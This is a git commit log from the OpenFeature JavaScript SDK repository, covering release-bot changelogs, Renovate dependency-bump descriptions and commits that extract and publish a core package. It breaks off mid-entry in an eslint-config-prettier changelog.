2023-11-03 13:55:38 -04:00
Todd Baert cb7d2be2c8
chore: update workflow to create patch versions
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-11-03 13:47:14 -04:00
OpenFeature Bot 3c9fdd9e4c
chore(main): release core 0.0.17 (#651)
🤖 I have created a release *beep* *boop*
---


##
[0.0.17](https://github.com/open-feature/js-sdk/compare/core-v0.0.16...core-v0.0.17)
(2023-11-03)


### Bug Fixes

* remove events.js from core module
([#650](https://github.com/open-feature/js-sdk/issues/650))
([14441b1](14441b1ad4))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
2023-11-03 13:16:51 -04:00
Todd Baert 14441b1ad4
fix: remove events.js from core module (#650)
Optimization to `@openfeature/core` package. Both server and web need
the node-js `Events` interfaces, but obviously only the web needs them
poly-filled (they come with node).

This PR:

- marks `events.js` as an external dep in `@openfeature/core` meaning it
won't be bundled there (see esbuild
[doc](https://esbuild.github.io/api/#external))

This means that now `@openfeature/core` no longer includes `events.js`
(an un-needed polyfill for the server). The bundling pictured below only
happens in the `dist/` of `@openfeature/web-sdk`, and no longer in
`@openfeature/core` :


![image](https://github.com/open-feature/js-sdk/assets/25272906/2cfdce09-7f00-42a7-b797-9570c816cadb)

I've tested both the server and web SDKs based on this change locally in
the js-contribs by running the e2e test suite.

Relates to: https://github.com/open-feature/js-sdk/issues/616

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-11-03 16:58:44 +00:00
Michael Beemer e72fc19da3
docs: extend yarn docs (#647)
## This PR

- add @openfeature/core to yarn install instructions

---------

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-10-31 20:42:16 +00:00
Michael Beemer aaf25d269b
chore: fix grammatical issues in the readme
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-10-31 15:27:46 -04:00
Michael Beemer 0032a81924
chore: update spec version link
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-10-31 15:26:45 -04:00
Michael Beemer 74d4b23f07
chore: update spec version link
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-10-31 15:26:09 -04:00
Michael Beemer eef0fc0a3a
chore: update spec version link
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-10-31 15:25:36 -04:00
OpenFeature Bot aafe9768ce
chore(main): release react-sdk 0.0.2-experimental (#642)
🤖 I have created a release *beep* *boop*
---


##
[0.0.2-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.0.1-experimental...react-sdk-v0.0.2-experimental)
(2023-10-31)


### Features

* extract and publish core package
([#629](https://github.com/open-feature/js-sdk/issues/629))
([c3ee90b](c3ee90b2e0))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-10-31 18:23:45 +00:00
OpenFeature Bot 1b02a4678d
chore(main): release server-sdk 1.7.0 (#636)
🤖 I have created a release *beep* *boop*
---


##
[1.7.0](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.6.3...server-sdk-v1.7.0)
(2023-10-31)


### Features

* add support for clearing providers
([#578](https://github.com/open-feature/js-sdk/issues/578))
([a3a907f](a3a907f348))
* extract and publish core package
([#629](https://github.com/open-feature/js-sdk/issues/629))
([c3ee90b](c3ee90b2e0))


### Bug Fixes

* api docs links
([#645](https://github.com/open-feature/js-sdk/issues/645))
([4ff3f0e](4ff3f0e94c))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-10-31 18:17:23 +00:00
OpenFeature Bot 696aaa7770
chore(main): release web-sdk 0.4.3 (#641)
🤖 I have created a release *beep* *boop*
---


##
[0.4.3](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.4.2...web-sdk-v0.4.3)
(2023-10-31)


### Features

* extract and publish core package
([#629](https://github.com/open-feature/js-sdk/issues/629))
([c3ee90b](c3ee90b2e0))


### Bug Fixes

* api docs links
([#645](https://github.com/open-feature/js-sdk/issues/645))
([4ff3f0e](4ff3f0e94c))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2023-10-31 18:13:43 +00:00
OpenFeature Bot fc583187ca
chore(main): release core 0.0.16 (#646)
🤖 I have created a release *beep* *boop*
---


##
[0.0.16](https://github.com/open-feature/js-sdk/compare/core-v0.0.15...core-v0.0.16)
(2023-10-31)


### Bug Fixes

* api docs links
([#645](https://github.com/open-feature/js-sdk/issues/645))
([4ff3f0e](4ff3f0e94c))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
2023-10-31 18:07:07 +00:00
Todd Baert 4ff3f0e94c
fix: api docs links (#645)
Fix docs links.

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-10-31 18:03:35 +00:00
OpenFeature Bot 5cae93925a
chore(main): release core 0.0.15 (#644)
🤖 I have created a release *beep* *boop*
---


##
[0.0.15](https://github.com/open-feature/js-sdk/compare/core-v0.0.14...core-v0.0.15)
(2023-10-31)


### Bug Fixes

* publish script, compilation error in tests
([#643](https://github.com/open-feature/js-sdk/issues/643))
([1349bee](1349bee20c))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Signed-off-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
2023-10-31 17:49:16 +00:00
Todd Baert 1349bee20c
fix: publish script, compilation error in tests (#643)
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-10-31 17:37:12 +00:00
OpenFeature Bot cbcb009836
chore(main): release core 0.0.14 (#640)
🤖 I have created a release *beep* *boop*
---


##
[0.0.14](https://github.com/open-feature/js-sdk/compare/core-v0.0.13...core-v0.0.14)
(2023-10-31)


### Features

* add support for clearing providers
([#578](https://github.com/open-feature/js-sdk/issues/578))
([a3a907f](a3a907f348))
* extract and publish core package
([#629](https://github.com/open-feature/js-sdk/issues/629))
([c3ee90b](c3ee90b2e0))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
2023-10-31 17:11:18 +00:00
Todd Baert c3ee90b2e0
feat: extract and publish core package (#629)
This PR addresses: https://github.com/open-feature/js-sdk/issues/616 by:

- configuring CI to release a new module (in addition to
server/web/react we now release the "core" module (previously called
"shared").
- adding a peer dep to the above module to server/web/react
- adding a workflow to ensure that `shared` is released ahead of
associated web/server/react changes, and which also auto-increments the
peer dep version when the core module is released
- unrelated `typedoc` improvements/updates

> [!NOTE]  
> I intend to create a new PR that will rename the dir structure
according to the packages... so `shared/` will become `core/` and
`client/` will become `web/`. I just didn't want to add confusion and
noise to this PR.

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-10-31 17:03:37 +00:00
renovate[bot] 4ce760651d
chore(deps): update dependency @types/jest to v29.5.7 (#631)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/jest](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/jest)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped)) |
[`29.5.6` ->
`29.5.7`](https://renovatebot.com/diffs/npm/@types%2fjest/29.5.6/29.5.7)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fjest/29.5.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fjest/29.5.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fjest/29.5.6/29.5.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fjest/29.5.6/29.5.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zMS41IiwidXBkYXRlZEluVmVyIjoiMzcuMzEuNSIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-10-31 02:34:48 +00:00
OpenFeature Bot 1349d3af65
chore(main): release web-sdk 0.4.2 (#635)
🤖 I have created a release *beep* *boop*
---


##
[0.4.2](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.4.1...web-sdk-v0.4.2)
(2023-10-31)


### Features

* add support for clearing providers
([#578](https://github.com/open-feature/js-sdk/issues/578))
([a3a907f](a3a907f348))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2023-10-31 02:30:42 +00:00
OpenFeature Bot ac7b43fafb
chore(main): release shared 0.0.13 (#634)
🤖 I have created a release *beep* *boop*
---


##
[0.0.13](https://github.com/open-feature/js-sdk/compare/shared-v0.0.12...shared-v0.0.13)
(2023-10-31)


### Features

* add support for clearing providers
([#578](https://github.com/open-feature/js-sdk/issues/578))
([a3a907f](a3a907f348))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2023-10-30 22:26:14 -04:00
renovate[bot] a7332c09f7
chore(deps): update dependency @types/node to v18.18.7 (#620)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/node](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped)) |
[`18.18.6` ->
`18.18.7`](https://renovatebot.com/diffs/npm/@types%2fnode/18.18.6/18.18.7)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/18.18.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/18.18.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/18.18.6/18.18.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/18.18.6/18.18.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zMS41IiwidXBkYXRlZEluVmVyIjoiMzcuMzEuNSIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-10-31 02:04:40 +00:00
Todd Baert d8d7c03b42
chore: update OpenFeature Bot name
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-10-30 15:56:17 -04:00
Todd Baert a48900de2c
chore: signoff-release (#625)
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-10-30 15:53:50 -04:00
Todd Baert 535b0db1ad
chore: sign release PRs with openfeaturebot (#621)
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-10-30 15:40:16 -04:00
Michael Beemer 80ab8db9cc
chore: fix API reference link
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-10-30 15:35:22 -04:00
renovate[bot] 6bae2f083a
chore(deps): update dependency @types/react to v18.2.33 (#615)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/react](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped)) |
[`18.2.31` ->
`18.2.33`](https://renovatebot.com/diffs/npm/@types%2freact/18.2.31/18.2.33)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/18.2.33?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/18.2.33?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/18.2.31/18.2.33?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/18.2.31/18.2.33?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zMS41IiwidXBkYXRlZEluVmVyIjoiMzcuMzEuNSIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-10-30 17:33:25 +00:00
Todd Baert 61c94b68b6
chore: update action to use PAT (#619)
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-10-30 16:39:30 +00:00
Michael Beemer 8e873a3d2b
chore: remove unused source file from tsconfig (#612)
## This PR

- remove unused source file from tsconfig

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-10-24 17:30:43 +00:00
renovate[bot] 84427600be
chore(deps): update dependency @types/events to v3.0.2 (#602)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/events](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/events)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped)) |
[`3.0.1` ->
`3.0.2`](https://renovatebot.com/diffs/npm/@types%2fevents/3.0.1/3.0.2)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fevents/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fevents/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fevents/3.0.1/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fevents/3.0.1/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4xOS4yIiwidXBkYXRlZEluVmVyIjoiMzcuMTkuMiIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-10-24 14:52:10 +00:00
Michael Beemer 2cdf175b29
chore: expose transaction context propagation to the server sdk only (#590)
## This PR

- removes transaction context propagation from web SDK
- refactored the transaction context propagation logic to live under the
server SDK

### Notes

Transaction context propagation only makes sense on the server and was
simply ignored by the client. This removes the methods from the client
sdk to avoid confusion.

This is a **breaking change** in the web SDK. However, it's sub 1.0 and
this feature effectively had no effect if it was used. Currently, this
is not marked as a breaking change to avoid releasing a major version.
@toddbaert do you know if it's possible to mark the server sdk changes
as a chore and the web sdk changes as a breaking fix?

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>

---------

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-10-24 14:50:32 +00:00
renovate[bot] 5a1e7fe7ca
chore(deps): update dependency @types/react to v18.2.31 (#582)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/react](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped)) |
[`18.2.21` ->
`18.2.31`](https://renovatebot.com/diffs/npm/@types%2freact/18.2.21/18.2.31)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/18.2.31?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/18.2.31?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/18.2.21/18.2.31?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/18.2.21/18.2.31?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy44LjEiLCJ1cGRhdGVkSW5WZXIiOiIzNy4xOS4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-10-24 14:49:57 +00:00
renovate[bot] 89ee2cf950
chore(deps): update actions/setup-node action to v4 (#608)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [actions/setup-node](https://togithub.com/actions/setup-node) | action
| major | `v3` -> `v4` |

---

### Release Notes

<details>
<summary>actions/setup-node (actions/setup-node)</summary>

### [`v4`](https://togithub.com/actions/setup-node/compare/v3...v4)

[Compare
Source](https://togithub.com/actions/setup-node/compare/v3...v4)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zMS4yIiwidXBkYXRlZEluVmVyIjoiMzcuMzEuMiIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-10-23 20:39:59 +00:00
renovate[bot] bb825033d2
chore(deps): update dependency @openfeature/flagd-provider to ^0.9.0 (#600)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| @&#8203;openfeature/flagd-provider | [`^0.8.1` ->
`^0.9.0`](https://renovatebot.com/diffs/npm/@openfeature%2fflagd-provider/0.8.3/0.9.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@openfeature%2fflagd-provider/0.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@openfeature%2fflagd-provider/0.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@openfeature%2fflagd-provider/0.8.3/0.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@openfeature%2fflagd-provider/0.8.3/0.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy44LjEiLCJ1cGRhdGVkSW5WZXIiOiIzNy44LjEiLCJ0YXJnZXRCcmFuY2giOiJtYWluIn0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-10-23 20:15:23 +00:00
renovate[bot] 213cc48623
chore(deps): update dependency @rollup/plugin-alias to v5.0.1 (#579)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@rollup/plugin-alias](https://togithub.com/rollup/plugins/tree/master/packages/alias#readme)
([source](https://togithub.com/rollup/plugins)) | [`5.0.0` ->
`5.0.1`](https://renovatebot.com/diffs/npm/@rollup%2fplugin-alias/5.0.0/5.0.1)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@rollup%2fplugin-alias/5.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@rollup%2fplugin-alias/5.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@rollup%2fplugin-alias/5.0.0/5.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@rollup%2fplugin-alias/5.0.0/5.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>rollup/plugins (@&#8203;rollup/plugin-alias)</summary>

###
[`v5.0.1`](https://togithub.com/rollup/plugins/blob/HEAD/packages/alias/CHANGELOG.md#v501)

[Compare
Source](026afa307a...3c4206c945)

*2023-10-05*

##### Bugfixes

- fix: ensure rollup 4 compatibility
[#&#8203;1595](https://togithub.com/rollup/plugins/pull/1595)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy44LjEiLCJ1cGRhdGVkSW5WZXIiOiIzNy44LjEiLCJ0YXJnZXRCcmFuY2giOiJtYWluIn0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-10-23 20:13:27 +00:00
renovate[bot] 5f942b6c45
chore(deps): update dependency eslint-config-prettier to v9 (#568)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-config-prettier](https://togithub.com/prettier/eslint-config-prettier)
| [`^8.5.0` ->
`^9.0.0`](https://renovatebot.com/diffs/npm/eslint-config-prettier/8.8.0/9.0.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-config-prettier/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-config-prettier/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-config-prettier/8.8.0/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-config-prettier/8.8.0/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>prettier/eslint-config-prettier
(eslint-config-prettier)</summary>

###
[`v9.0.0`](https://togithub.com/prettier/eslint-config-prettier/blob/HEAD/CHANGELOG.md#Version-900-2023-08-05)

[Compare
Source](https://togithub.com/prettier/eslint-config-prettier/compare/v8.10.0...v9.0.0)

- Added: The CLI helper tool now works with eslint.config.js (flat
config). Just like ESLint itself, the CLI tool automatically first tries
eslint.config.js and then eslintrc, and you can force which one to use
by setting the \[ESLINT_USE_FLAT_CONFIG] environment variable. Note that
the *config* of eslint-config-prettier has always been compatible with
eslint.config.js (flat config) – it was just the CLI tool that needed
updating. On top of that, the docs have been updated to mention how to
use both eslint.config.js (flat config) and eslintrc, and the tests now
test both config systems.
- Changed: \[unicode-bom] is no longer turned off. Prettier preserves
the BOM if you have one, and does not add one if missing. It was wrong
of eslint-config-prettier to disable that rule. If you get ESLint errors
after upgrading, either add `"unicode-bom": "off"` to your config to
disable it again, or run ESLint with `--fix` to fix all files according
to the rule (add or remove BOM). Thanks to Nicolas Stepien
([@&#8203;nstepien](https://togithub.com/nstepien))!

###
[`v8.10.0`](https://togithub.com/prettier/eslint-config-prettier/blob/HEAD/CHANGELOG.md#Version-8100-2023-08-03)

[Compare
Source](https://togithub.com/prettier/eslint-config-prettier/compare/v8.9.0...v8.10.0)

- Added: \[max-statements-per-line]. Thanks to
[@&#8203;Zamiell](https://togithub.com/Zamiell)!

###
